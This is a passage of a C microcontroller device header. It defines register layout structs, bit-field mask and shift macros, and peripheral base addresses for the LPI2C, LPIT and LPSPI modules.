#define LPI2C_SAMR_ADDR0(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SAMR_ADDR0_SHIFT)) & LPI2C_SAMR_ADDR0_MASK)
#define LPI2C_SAMR_ADDR1_MASK (0x7FE0000U)
#define LPI2C_SAMR_ADDR1_SHIFT (17U)
#define LPI2C_SAMR_ADDR1(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SAMR_ADDR1_SHIFT)) & LPI2C_SAMR_ADDR1_MASK)
/*! @name SASR - Slave Address Status Register */
#define LPI2C_SASR_RADDR_MASK (0x7FFU)
#define LPI2C_SASR_RADDR_SHIFT (0U)
#define LPI2C_SASR_RADDR(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SASR_RADDR_SHIFT)) & LPI2C_SASR_RADDR_MASK)
#define LPI2C_SASR_ANV_MASK (0x4000U)
#define LPI2C_SASR_ANV_SHIFT (14U)
#define LPI2C_SASR_ANV(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SASR_ANV_SHIFT)) & LPI2C_SASR_ANV_MASK)
/*! @name STAR - Slave Transmit ACK Register */
#define LPI2C_STAR_TXNACK_MASK (0x1U)
#define LPI2C_STAR_TXNACK_SHIFT (0U)
#define LPI2C_STAR_TXNACK(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_STAR_TXNACK_SHIFT)) & LPI2C_STAR_TXNACK_MASK)
/*! @name STDR - Slave Transmit Data Register */
#define LPI2C_STDR_DATA_MASK (0xFFU)
#define LPI2C_STDR_DATA_SHIFT (0U)
#define LPI2C_STDR_DATA(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_STDR_DATA_SHIFT)) & LPI2C_STDR_DATA_MASK)
/*! @name SRDR - Slave Receive Data Register */
#define LPI2C_SRDR_DATA_MASK (0xFFU)
#define LPI2C_SRDR_DATA_SHIFT (0U)
#define LPI2C_SRDR_DATA(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SRDR_DATA_SHIFT)) & LPI2C_SRDR_DATA_MASK)
#define LPI2C_SRDR_RXEMPTY_MASK (0x4000U)
#define LPI2C_SRDR_RXEMPTY_SHIFT (14U)
#define LPI2C_SRDR_RXEMPTY(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SRDR_RXEMPTY_SHIFT)) & LPI2C_SRDR_RXEMPTY_MASK)
#define LPI2C_SRDR_SOF_MASK (0x8000U)
#define LPI2C_SRDR_SOF_SHIFT (15U)
#define LPI2C_SRDR_SOF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SRDR_SOF_SHIFT)) & LPI2C_SRDR_SOF_MASK)
/*!
* @}
*/ /* end of group LPI2C_Register_Masks */
/* LPI2C - Peripheral instance base addresses */
/** Peripheral LPI2C0 base address */
#define LPI2C0_BASE (0x400C0000u)
/** Peripheral LPI2C0 base pointer */
#define LPI2C0 ((LPI2C_Type *)LPI2C0_BASE)
/** Peripheral LPI2C1 base address */
#define LPI2C1_BASE (0x400C1000u)
/** Peripheral LPI2C1 base pointer */
#define LPI2C1 ((LPI2C_Type *)LPI2C1_BASE)
/** Peripheral LPI2C2 base address */
#define LPI2C2_BASE (0x40042000u)
/** Peripheral LPI2C2 base pointer */
#define LPI2C2 ((LPI2C_Type *)LPI2C2_BASE)
/** Array initializer of LPI2C peripheral base addresses */
#define LPI2C_BASE_ADDRS { LPI2C0_BASE, LPI2C1_BASE, LPI2C2_BASE }
/** Array initializer of LPI2C peripheral base pointers */
#define LPI2C_BASE_PTRS { LPI2C0, LPI2C1, LPI2C2 }
/** Interrupt vectors for the LPI2C peripheral type */
#define LPI2C_IRQS { LPI2C0_IRQn, LPI2C1_IRQn, LPI2C2_IRQn }
/*!
* @}
*/ /* end of group LPI2C_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- LPIT Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPIT_Peripheral_Access_Layer LPIT Peripheral Access Layer
* @{
*/
/** LPIT - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
__IO uint32_t MCR; /**< Module Control Register, offset: 0x8 */
__IO uint32_t MSR; /**< Module Status Register, offset: 0xC */
__IO uint32_t MIER; /**< Module Interrupt Enable Register, offset: 0x10 */
__IO uint32_t SETTEN; /**< Set Timer Enable Register, offset: 0x14 */
__IO uint32_t CLRTEN; /**< Clear Timer Enable Register, offset: 0x18 */
uint8_t RESERVED_0[4];
struct { /* offset: 0x20, array step: 0x10 */
__IO uint32_t TVAL; /**< Timer Value Register, array offset: 0x20, array step: 0x10 */
__I uint32_t CVAL; /**< Current Timer Value, array offset: 0x24, array step: 0x10 */
__IO uint32_t TCTRL; /**< Timer Control Register, array offset: 0x28, array step: 0x10 */
uint8_t RESERVED_0[4];
} CHANNEL[4];
} LPIT_Type;
/* ----------------------------------------------------------------------------
-- LPIT Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPIT_Register_Masks LPIT Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define LPIT_VERID_FEATURE_MASK (0xFFFFU)
#define LPIT_VERID_FEATURE_SHIFT (0U)
#define LPIT_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << LPIT_VERID_FEATURE_SHIFT)) & LPIT_VERID_FEATURE_MASK)
#define LPIT_VERID_MINOR_MASK (0xFF0000U)
#define LPIT_VERID_MINOR_SHIFT (16U)
#define LPIT_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << LPIT_VERID_MINOR_SHIFT)) & LPIT_VERID_MINOR_MASK)
#define LPIT_VERID_MAJOR_MASK (0xFF000000U)
#define LPIT_VERID_MAJOR_SHIFT (24U)
#define LPIT_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << LPIT_VERID_MAJOR_SHIFT)) & LPIT_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define LPIT_PARAM_CHANNEL_MASK (0xFFU)
#define LPIT_PARAM_CHANNEL_SHIFT (0U)
#define LPIT_PARAM_CHANNEL(x) (((uint32_t)(((uint32_t)(x)) << LPIT_PARAM_CHANNEL_SHIFT)) & LPIT_PARAM_CHANNEL_MASK)
#define LPIT_PARAM_EXT_TRIG_MASK (0xFF00U)
#define LPIT_PARAM_EXT_TRIG_SHIFT (8U)
#define LPIT_PARAM_EXT_TRIG(x) (((uint32_t)(((uint32_t)(x)) << LPIT_PARAM_EXT_TRIG_SHIFT)) & LPIT_PARAM_EXT_TRIG_MASK)
/*! @name MCR - Module Control Register */
#define LPIT_MCR_M_CEN_MASK (0x1U)
#define LPIT_MCR_M_CEN_SHIFT (0U)
#define LPIT_MCR_M_CEN(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MCR_M_CEN_SHIFT)) & LPIT_MCR_M_CEN_MASK)
#define LPIT_MCR_SW_RST_MASK (0x2U)
#define LPIT_MCR_SW_RST_SHIFT (1U)
#define LPIT_MCR_SW_RST(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MCR_SW_RST_SHIFT)) & LPIT_MCR_SW_RST_MASK)
#define LPIT_MCR_DOZE_EN_MASK (0x4U)
#define LPIT_MCR_DOZE_EN_SHIFT (2U)
#define LPIT_MCR_DOZE_EN(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MCR_DOZE_EN_SHIFT)) & LPIT_MCR_DOZE_EN_MASK)
#define LPIT_MCR_DBG_EN_MASK (0x8U)
#define LPIT_MCR_DBG_EN_SHIFT (3U)
#define LPIT_MCR_DBG_EN(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MCR_DBG_EN_SHIFT)) & LPIT_MCR_DBG_EN_MASK)
/*! @name MSR - Module Status Register */
#define LPIT_MSR_TIF0_MASK (0x1U)
#define LPIT_MSR_TIF0_SHIFT (0U)
#define LPIT_MSR_TIF0(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MSR_TIF0_SHIFT)) & LPIT_MSR_TIF0_MASK)
#define LPIT_MSR_TIF1_MASK (0x2U)
#define LPIT_MSR_TIF1_SHIFT (1U)
#define LPIT_MSR_TIF1(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MSR_TIF1_SHIFT)) & LPIT_MSR_TIF1_MASK)
#define LPIT_MSR_TIF2_MASK (0x4U)
#define LPIT_MSR_TIF2_SHIFT (2U)
#define LPIT_MSR_TIF2(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MSR_TIF2_SHIFT)) & LPIT_MSR_TIF2_MASK)
#define LPIT_MSR_TIF3_MASK (0x8U)
#define LPIT_MSR_TIF3_SHIFT (3U)
#define LPIT_MSR_TIF3(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MSR_TIF3_SHIFT)) & LPIT_MSR_TIF3_MASK)
/*! @name MIER - Module Interrupt Enable Register */
#define LPIT_MIER_TIE0_MASK (0x1U)
#define LPIT_MIER_TIE0_SHIFT (0U)
#define LPIT_MIER_TIE0(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MIER_TIE0_SHIFT)) & LPIT_MIER_TIE0_MASK)
#define LPIT_MIER_TIE1_MASK (0x2U)
#define LPIT_MIER_TIE1_SHIFT (1U)
#define LPIT_MIER_TIE1(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MIER_TIE1_SHIFT)) & LPIT_MIER_TIE1_MASK)
#define LPIT_MIER_TIE2_MASK (0x4U)
#define LPIT_MIER_TIE2_SHIFT (2U)
#define LPIT_MIER_TIE2(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MIER_TIE2_SHIFT)) & LPIT_MIER_TIE2_MASK)
#define LPIT_MIER_TIE3_MASK (0x8U)
#define LPIT_MIER_TIE3_SHIFT (3U)
#define LPIT_MIER_TIE3(x) (((uint32_t)(((uint32_t)(x)) << LPIT_MIER_TIE3_SHIFT)) & LPIT_MIER_TIE3_MASK)
/*! @name SETTEN - Set Timer Enable Register */
#define LPIT_SETTEN_SET_T_EN_0_MASK (0x1U)
#define LPIT_SETTEN_SET_T_EN_0_SHIFT (0U)
#define LPIT_SETTEN_SET_T_EN_0(x) (((uint32_t)(((uint32_t)(x)) << LPIT_SETTEN_SET_T_EN_0_SHIFT)) & LPIT_SETTEN_SET_T_EN_0_MASK)
#define LPIT_SETTEN_SET_T_EN_1_MASK (0x2U)
#define LPIT_SETTEN_SET_T_EN_1_SHIFT (1U)
#define LPIT_SETTEN_SET_T_EN_1(x) (((uint32_t)(((uint32_t)(x)) << LPIT_SETTEN_SET_T_EN_1_SHIFT)) & LPIT_SETTEN_SET_T_EN_1_MASK)
#define LPIT_SETTEN_SET_T_EN_2_MASK (0x4U)
#define LPIT_SETTEN_SET_T_EN_2_SHIFT (2U)
#define LPIT_SETTEN_SET_T_EN_2(x) (((uint32_t)(((uint32_t)(x)) << LPIT_SETTEN_SET_T_EN_2_SHIFT)) & LPIT_SETTEN_SET_T_EN_2_MASK)
#define LPIT_SETTEN_SET_T_EN_3_MASK (0x8U)
#define LPIT_SETTEN_SET_T_EN_3_SHIFT (3U)
#define LPIT_SETTEN_SET_T_EN_3(x) (((uint32_t)(((uint32_t)(x)) << LPIT_SETTEN_SET_T_EN_3_SHIFT)) & LPIT_SETTEN_SET_T_EN_3_MASK)
/*! @name CLRTEN - Clear Timer Enable Register */
#define LPIT_CLRTEN_CLR_T_EN_0_MASK (0x1U)
#define LPIT_CLRTEN_CLR_T_EN_0_SHIFT (0U)
#define LPIT_CLRTEN_CLR_T_EN_0(x) (((uint32_t)(((uint32_t)(x)) << LPIT_CLRTEN_CLR_T_EN_0_SHIFT)) & LPIT_CLRTEN_CLR_T_EN_0_MASK)
#define LPIT_CLRTEN_CLR_T_EN_1_MASK (0x2U)
#define LPIT_CLRTEN_CLR_T_EN_1_SHIFT (1U)
#define LPIT_CLRTEN_CLR_T_EN_1(x) (((uint32_t)(((uint32_t)(x)) << LPIT_CLRTEN_CLR_T_EN_1_SHIFT)) & LPIT_CLRTEN_CLR_T_EN_1_MASK)
#define LPIT_CLRTEN_CLR_T_EN_2_MASK (0x4U)
#define LPIT_CLRTEN_CLR_T_EN_2_SHIFT (2U)
#define LPIT_CLRTEN_CLR_T_EN_2(x) (((uint32_t)(((uint32_t)(x)) << LPIT_CLRTEN_CLR_T_EN_2_SHIFT)) & LPIT_CLRTEN_CLR_T_EN_2_MASK)
#define LPIT_CLRTEN_CLR_T_EN_3_MASK (0x8U)
#define LPIT_CLRTEN_CLR_T_EN_3_SHIFT (3U)
#define LPIT_CLRTEN_CLR_T_EN_3(x) (((uint32_t)(((uint32_t)(x)) << LPIT_CLRTEN_CLR_T_EN_3_SHIFT)) & LPIT_CLRTEN_CLR_T_EN_3_MASK)
/*! @name TVAL - Timer Value Register */
#define LPIT_TVAL_TMR_VAL_MASK (0xFFFFFFFFU)
#define LPIT_TVAL_TMR_VAL_SHIFT (0U)
#define LPIT_TVAL_TMR_VAL(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TVAL_TMR_VAL_SHIFT)) & LPIT_TVAL_TMR_VAL_MASK)
/* The count of LPIT_TVAL */
#define LPIT_TVAL_COUNT (4U)
/*! @name CVAL - Current Timer Value */
#define LPIT_CVAL_TMR_CUR_VAL_MASK (0xFFFFFFFFU)
#define LPIT_CVAL_TMR_CUR_VAL_SHIFT (0U)
#define LPIT_CVAL_TMR_CUR_VAL(x) (((uint32_t)(((uint32_t)(x)) << LPIT_CVAL_TMR_CUR_VAL_SHIFT)) & LPIT_CVAL_TMR_CUR_VAL_MASK)
/* The count of LPIT_CVAL */
#define LPIT_CVAL_COUNT (4U)
/*! @name TCTRL - Timer Control Register */
#define LPIT_TCTRL_T_EN_MASK (0x1U)
#define LPIT_TCTRL_T_EN_SHIFT (0U)
#define LPIT_TCTRL_T_EN(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_T_EN_SHIFT)) & LPIT_TCTRL_T_EN_MASK)
#define LPIT_TCTRL_CHAIN_MASK (0x2U)
#define LPIT_TCTRL_CHAIN_SHIFT (1U)
#define LPIT_TCTRL_CHAIN(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_CHAIN_SHIFT)) & LPIT_TCTRL_CHAIN_MASK)
#define LPIT_TCTRL_MODE_MASK (0xCU)
#define LPIT_TCTRL_MODE_SHIFT (2U)
#define LPIT_TCTRL_MODE(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_MODE_SHIFT)) & LPIT_TCTRL_MODE_MASK)
#define LPIT_TCTRL_TSOT_MASK (0x10000U)
#define LPIT_TCTRL_TSOT_SHIFT (16U)
#define LPIT_TCTRL_TSOT(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_TSOT_SHIFT)) & LPIT_TCTRL_TSOT_MASK)
#define LPIT_TCTRL_TSOI_MASK (0x20000U)
#define LPIT_TCTRL_TSOI_SHIFT (17U)
#define LPIT_TCTRL_TSOI(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_TSOI_SHIFT)) & LPIT_TCTRL_TSOI_MASK)
#define LPIT_TCTRL_TROT_MASK (0x40000U)
#define LPIT_TCTRL_TROT_SHIFT (18U)
#define LPIT_TCTRL_TROT(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_TROT_SHIFT)) & LPIT_TCTRL_TROT_MASK)
#define LPIT_TCTRL_TRG_SRC_MASK (0x800000U)
#define LPIT_TCTRL_TRG_SRC_SHIFT (23U)
#define LPIT_TCTRL_TRG_SRC(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_TRG_SRC_SHIFT)) & LPIT_TCTRL_TRG_SRC_MASK)
#define LPIT_TCTRL_TRG_SEL_MASK (0xF000000U)
#define LPIT_TCTRL_TRG_SEL_SHIFT (24U)
#define LPIT_TCTRL_TRG_SEL(x) (((uint32_t)(((uint32_t)(x)) << LPIT_TCTRL_TRG_SEL_SHIFT)) & LPIT_TCTRL_TRG_SEL_MASK)
/* The count of LPIT_TCTRL */
#define LPIT_TCTRL_COUNT (4U)
/*!
* @}
*/ /* end of group LPIT_Register_Masks */
/* LPIT - Peripheral instance base addresses */
/** Peripheral LPIT0 base address */
#define LPIT0_BASE (0x40030000u)
/** Peripheral LPIT0 base pointer */
#define LPIT0 ((LPIT_Type *)LPIT0_BASE)
/** Peripheral LPIT1 base address */
#define LPIT1_BASE (0x400B1000u)
/** Peripheral LPIT1 base pointer */
#define LPIT1 ((LPIT_Type *)LPIT1_BASE)
/** Array initializer of LPIT peripheral base addresses */
#define LPIT_BASE_ADDRS { LPIT0_BASE, LPIT1_BASE }
/** Array initializer of LPIT peripheral base pointers */
#define LPIT_BASE_PTRS { LPIT0, LPIT1 }
/** Interrupt vectors for the LPIT peripheral type */
#define LPIT_IRQS { LPIT0_IRQn, LPIT1_IRQn }
/*!
* @}
*/ /* end of group LPIT_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- LPSPI Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPSPI_Peripheral_Access_Layer LPSPI Peripheral Access Layer
* @{
*/
/** LPSPI - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
uint8_t RESERVED_0[8];
__IO uint32_t CR; /**< Control Register, offset: 0x10 */
__IO uint32_t SR; /**< Status Register, offset: 0x14 */
__IO uint32_t IER; /**< Interrupt Enable Register, offset: 0x18 */
__IO uint32_t DER; /**< DMA Enable Register, offset: 0x1C */
__IO uint32_t CFGR0; /**< Configuration Register 0, offset: 0x20 */
__IO uint32_t CFGR1; /**< Configuration Register 1, offset: 0x24 */
uint8_t RESERVED_1[8];
__IO uint32_t DMR0; /**< Data Match Register 0, offset: 0x30 */
__IO uint32_t DMR1; /**< Data Match Register 1, offset: 0x34 */
uint8_t RESERVED_2[8];
__IO uint32_t CCR; /**< Clock Configuration Register, offset: 0x40 */
uint8_t RESERVED_3[20];
__IO uint32_t FCR; /**< FIFO Control Register, offset: 0x58 */
__I uint32_t FSR; /**< FIFO Status Register, offset: 0x5C */
__IO uint32_t TCR; /**< Transmit Command Register, offset: 0x60 */
__O uint32_t TDR; /**< Transmit Data Register, offset: 0x64 */
uint8_t RESERVED_4[8];
__I uint32_t RSR; /**< Receive Status Register, offset: 0x70 */
__I uint32_t RDR; /**< Receive Data Register, offset: 0x74 */
} LPSPI_Type;
/* ----------------------------------------------------------------------------
-- LPSPI Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPSPI_Register_Masks LPSPI Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define LPSPI_VERID_FEATURE_MASK (0xFFFFU)
#define LPSPI_VERID_FEATURE_SHIFT (0U)
#define LPSPI_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_VERID_FEATURE_SHIFT)) & LPSPI_VERID_FEATURE_MASK)
#define LPSPI_VERID_MINOR_MASK (0xFF0000U)
#define LPSPI_VERID_MINOR_SHIFT (16U)
#define LPSPI_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_VERID_MINOR_SHIFT)) & LPSPI_VERID_MINOR_MASK)
#define LPSPI_VERID_MAJOR_MASK (0xFF000000U)
#define LPSPI_VERID_MAJOR_SHIFT (24U)
#define LPSPI_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_VERID_MAJOR_SHIFT)) & LPSPI_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define LPSPI_PARAM_TXFIFO_MASK (0xFFU)
#define LPSPI_PARAM_TXFIFO_SHIFT (0U)
#define LPSPI_PARAM_TXFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_PARAM_TXFIFO_SHIFT)) & LPSPI_PARAM_TXFIFO_MASK)
#define LPSPI_PARAM_RXFIFO_MASK (0xFF00U)
#define LPSPI_PARAM_RXFIFO_SHIFT (8U)
#define LPSPI_PARAM_RXFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_PARAM_RXFIFO_SHIFT)) & LPSPI_PARAM_RXFIFO_MASK)
/*! @name CR - Control Register */
#define LPSPI_CR_MEN_MASK (0x1U)
#define LPSPI_CR_MEN_SHIFT (0U)
#define LPSPI_CR_MEN(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CR_MEN_SHIFT)) & LPSPI_CR_MEN_MASK)
#define LPSPI_CR_RST_MASK (0x2U)
#define LPSPI_CR_RST_SHIFT (1U)
#define LPSPI_CR_RST(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CR_RST_SHIFT)) & LPSPI_CR_RST_MASK)
#define LPSPI_CR_DOZEN_MASK (0x4U)
#define LPSPI_CR_DOZEN_SHIFT (2U)
#define LPSPI_CR_DOZEN(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CR_DOZEN_SHIFT)) & LPSPI_CR_DOZEN_MASK)
#define LPSPI_CR_DBGEN_MASK (0x8U)
#define LPSPI_CR_DBGEN_SHIFT (3U)
#define LPSPI_CR_DBGEN(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CR_DBGEN_SHIFT)) & LPSPI_CR_DBGEN_MASK)
#define LPSPI_CR_RTF_MASK (0x100U)
#define LPSPI_CR_RTF_SHIFT (8U)
#define LPSPI_CR_RTF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CR_RTF_SHIFT)) & LPSPI_CR_RTF_MASK)
#define LPSPI_CR_RRF_MASK (0x200U)
#define LPSPI_CR_RRF_SHIFT (9U)
#define LPSPI_CR_RRF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CR_RRF_SHIFT)) & LPSPI_CR_RRF_MASK)
/*! @name SR - Status Register */
#define LPSPI_SR_TDF_MASK (0x1U)
#define LPSPI_SR_TDF_SHIFT (0U)
#define LPSPI_SR_TDF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_TDF_SHIFT)) & LPSPI_SR_TDF_MASK)
#define LPSPI_SR_RDF_MASK (0x2U)
#define LPSPI_SR_RDF_SHIFT (1U)
#define LPSPI_SR_RDF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_RDF_SHIFT)) & LPSPI_SR_RDF_MASK)
#define LPSPI_SR_WCF_MASK (0x100U)
#define LPSPI_SR_WCF_SHIFT (8U)
#define LPSPI_SR_WCF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_WCF_SHIFT)) & LPSPI_SR_WCF_MASK)
#define LPSPI_SR_FCF_MASK (0x200U)
#define LPSPI_SR_FCF_SHIFT (9U)
#define LPSPI_SR_FCF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_FCF_SHIFT)) & LPSPI_SR_FCF_MASK)
#define LPSPI_SR_TCF_MASK (0x400U)
#define LPSPI_SR_TCF_SHIFT (10U)
#define LPSPI_SR_TCF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_TCF_SHIFT)) & LPSPI_SR_TCF_MASK)
#define LPSPI_SR_TEF_MASK (0x800U)
#define LPSPI_SR_TEF_SHIFT (11U)
#define LPSPI_SR_TEF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_TEF_SHIFT)) & LPSPI_SR_TEF_MASK)
#define LPSPI_SR_REF_MASK (0x1000U)
#define LPSPI_SR_REF_SHIFT (12U)
#define LPSPI_SR_REF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_REF_SHIFT)) & LPSPI_SR_REF_MASK)
#define LPSPI_SR_DMF_MASK (0x2000U)
#define LPSPI_SR_DMF_SHIFT (13U)
#define LPSPI_SR_DMF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_DMF_SHIFT)) & LPSPI_SR_DMF_MASK)
#define LPSPI_SR_MBF_MASK (0x1000000U)
#define LPSPI_SR_MBF_SHIFT (24U)
#define LPSPI_SR_MBF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_SR_MBF_SHIFT)) & LPSPI_SR_MBF_MASK)
/*! @name IER - Interrupt Enable Register */
#define LPSPI_IER_TDIE_MASK (0x1U)
#define LPSPI_IER_TDIE_SHIFT (0U)
#define LPSPI_IER_TDIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_TDIE_SHIFT)) & LPSPI_IER_TDIE_MASK)
#define LPSPI_IER_RDIE_MASK (0x2U)
#define LPSPI_IER_RDIE_SHIFT (1U)
#define LPSPI_IER_RDIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_RDIE_SHIFT)) & LPSPI_IER_RDIE_MASK)
#define LPSPI_IER_WCIE_MASK (0x100U)
#define LPSPI_IER_WCIE_SHIFT (8U)
#define LPSPI_IER_WCIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_WCIE_SHIFT)) & LPSPI_IER_WCIE_MASK)
#define LPSPI_IER_FCIE_MASK (0x200U)
#define LPSPI_IER_FCIE_SHIFT (9U)
#define LPSPI_IER_FCIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_FCIE_SHIFT)) & LPSPI_IER_FCIE_MASK)
#define LPSPI_IER_TCIE_MASK (0x400U)
#define LPSPI_IER_TCIE_SHIFT (10U)
#define LPSPI_IER_TCIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_TCIE_SHIFT)) & LPSPI_IER_TCIE_MASK)
#define LPSPI_IER_TEIE_MASK (0x800U)
#define LPSPI_IER_TEIE_SHIFT (11U)
#define LPSPI_IER_TEIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_TEIE_SHIFT)) & LPSPI_IER_TEIE_MASK)
#define LPSPI_IER_REIE_MASK (0x1000U)
#define LPSPI_IER_REIE_SHIFT (12U)
#define LPSPI_IER_REIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_REIE_SHIFT)) & LPSPI_IER_REIE_MASK)
#define LPSPI_IER_DMIE_MASK (0x2000U)
#define LPSPI_IER_DMIE_SHIFT (13U)
#define LPSPI_IER_DMIE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_IER_DMIE_SHIFT)) & LPSPI_IER_DMIE_MASK)
/*! @name DER - DMA Enable Register */
#define LPSPI_DER_TDDE_MASK (0x1U)
#define LPSPI_DER_TDDE_SHIFT (0U)
#define LPSPI_DER_TDDE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_DER_TDDE_SHIFT)) & LPSPI_DER_TDDE_MASK)
#define LPSPI_DER_RDDE_MASK (0x2U)
#define LPSPI_DER_RDDE_SHIFT (1U)
#define LPSPI_DER_RDDE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_DER_RDDE_SHIFT)) & LPSPI_DER_RDDE_MASK)
/*! @name CFGR0 - Configuration Register 0 */
#define LPSPI_CFGR0_HREN_MASK (0x1U)
#define LPSPI_CFGR0_HREN_SHIFT (0U)
#define LPSPI_CFGR0_HREN(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR0_HREN_SHIFT)) & LPSPI_CFGR0_HREN_MASK)
#define LPSPI_CFGR0_HRPOL_MASK (0x2U)
#define LPSPI_CFGR0_HRPOL_SHIFT (1U)
#define LPSPI_CFGR0_HRPOL(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR0_HRPOL_SHIFT)) & LPSPI_CFGR0_HRPOL_MASK)
#define LPSPI_CFGR0_HRSEL_MASK (0x4U)
#define LPSPI_CFGR0_HRSEL_SHIFT (2U)
#define LPSPI_CFGR0_HRSEL(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR0_HRSEL_SHIFT)) & LPSPI_CFGR0_HRSEL_MASK)
#define LPSPI_CFGR0_CIRFIFO_MASK (0x100U)
#define LPSPI_CFGR0_CIRFIFO_SHIFT (8U)
#define LPSPI_CFGR0_CIRFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR0_CIRFIFO_SHIFT)) & LPSPI_CFGR0_CIRFIFO_MASK)
#define LPSPI_CFGR0_RDMO_MASK (0x200U)
#define LPSPI_CFGR0_RDMO_SHIFT (9U)
#define LPSPI_CFGR0_RDMO(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR0_RDMO_SHIFT)) & LPSPI_CFGR0_RDMO_MASK)
/*! @name CFGR1 - Configuration Register 1 */
#define LPSPI_CFGR1_MASTER_MASK (0x1U)
#define LPSPI_CFGR1_MASTER_SHIFT (0U)
#define LPSPI_CFGR1_MASTER(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_MASTER_SHIFT)) & LPSPI_CFGR1_MASTER_MASK)
#define LPSPI_CFGR1_SAMPLE_MASK (0x2U)
#define LPSPI_CFGR1_SAMPLE_SHIFT (1U)
#define LPSPI_CFGR1_SAMPLE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_SAMPLE_SHIFT)) & LPSPI_CFGR1_SAMPLE_MASK)
#define LPSPI_CFGR1_AUTOPCS_MASK (0x4U)
#define LPSPI_CFGR1_AUTOPCS_SHIFT (2U)
#define LPSPI_CFGR1_AUTOPCS(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_AUTOPCS_SHIFT)) & LPSPI_CFGR1_AUTOPCS_MASK)
#define LPSPI_CFGR1_NOSTALL_MASK (0x8U)
#define LPSPI_CFGR1_NOSTALL_SHIFT (3U)
#define LPSPI_CFGR1_NOSTALL(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_NOSTALL_SHIFT)) & LPSPI_CFGR1_NOSTALL_MASK)
#define LPSPI_CFGR1_PCSPOL_MASK (0xF00U)
#define LPSPI_CFGR1_PCSPOL_SHIFT (8U)
